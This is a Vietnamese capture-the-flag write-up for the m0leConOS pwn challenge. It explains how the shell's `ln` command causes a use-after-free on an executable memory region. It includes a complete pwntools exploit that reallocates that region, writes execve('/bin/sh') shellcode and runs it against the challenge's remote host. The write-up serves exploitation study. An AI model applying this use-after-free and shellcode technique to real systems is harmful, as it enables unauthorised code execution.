# Báo cáo lần 4

- Chall này mô phỏng shell trên linux theo cách đơn giản. Nó có các option như ls, reset, touch, cp, rm, help, m0lecat(cat riêng của shell), exit.
- Khi mở shell sẽ luôn có sẵn một file `m0lecat`.
- Khi chạy vài lần mình nhận ra rằng `touch` ghi name file vào một địa chỉ trên binary và thông tin trong file được lưu trong mmap.

- Ta sẽ nói qua về các lệnh trên shell.

- Với `reset`, chúng sẽ nạp dữ liệu từ file `m0lecat` lên đoạn `mmap` được cấp phát tại `addr` rồi xet quyền thực thi cho địa chỉ này. Đây là lý do touch không tương tắc trên file vì trong `m0lecat` chứa `syscall_read`. Sau đó `name_file` và `addr` sẽ được đưa vào index 0

- Ở hàm `ls` này chỉ in ra danh sách file.

- Hàm touch thì đã nói ở trên

- touch sẽ tạo cấu trúc như này

- `rm` thì xóa đi các file và giải phóng các con trỏ.

- Hàm `copy` thực hiện copy index mới tuy nhiên giữ liệu sẽ được cấp phát lại rồi copy qua.


- Với hàm `ln` nó chỉ khác copy ở chỗ thay vì cấp phát mới thì nó đưa con trỏ chứ dữ liệu qua id khác, điều này có thể gây ra lỗi `UAF`.

- Hàm `cat` này khá đặc biệt, hàm này thực thi dựa trên đoạn `syscall_write` được nạp và `addr`. Tuy nhiên nếu dữ liệu có format `ptm{` sẽ in ra `Nice try`.
- Index 0 sẽ là `m0lecat` và địa chỉ shell. Do không thể `rm` hay `touch` vơi index 0, nên ta không thể tạo mới vùng shell này theo ý muốn. Tuy nhiên ta có thể copy địa chỉ shell này bằng `ln`.
- Tiếp theo ta sẽ giải phóng đoạn shell này, một cơ chế cấp phát lại để tiếp kiệm bộ nhớ do đó lần cấp phát tiếp theo bằng `touch` ta sẽ có địa chỉ shell và ghi `shellcode` tùy ý vào.
- Sau khi ghi `shellcode` vào thì gọi `cat` để thực hiện shell
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('m0leConOS_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)
def ln(fr, to):
sla(b'# ', b'ln')
sla(b'from: ', fr)
sla(b'to: ', to)
def rm(file_name):
sla(b'# ', b'rm')
sla(b'Filename: ', file_name)
def touch(file_name, data):
sla(b'# ', b'touch')
sla(b'Filename: ', file_name)
sa(b'> ', data)
def m0lecat(file_name):
sla(b'# ', b'm0lecat')
sla(b'> ', file_name)
sl(b'a')
def GDB():
gdb.attach(r, gdbscript='''
b*0x55555555541a
b*0x5555555567f5
c
''')
if args.REMOTE:
r = remote('m0leconos.challs.m0lecon.it', 6745)
else:
r = process(exe.path)
GDB()
ln(b'm0lecat', b'chino')
rm(b'chino')
shellcode = asm('''
xor rdx, rdx
xor rsi, rsi
mov rax, 0x0068732f6e69622f
push rax
mov rdi, rsp
mov rax, 0x3b
syscall
''')
touch(b'chino', shellcode)
m0lecat(b'flag.txt')
r.interactive()
```


- racecar https://hackmd.io/@lephuc2712/KCSC-CTF-2023#PWN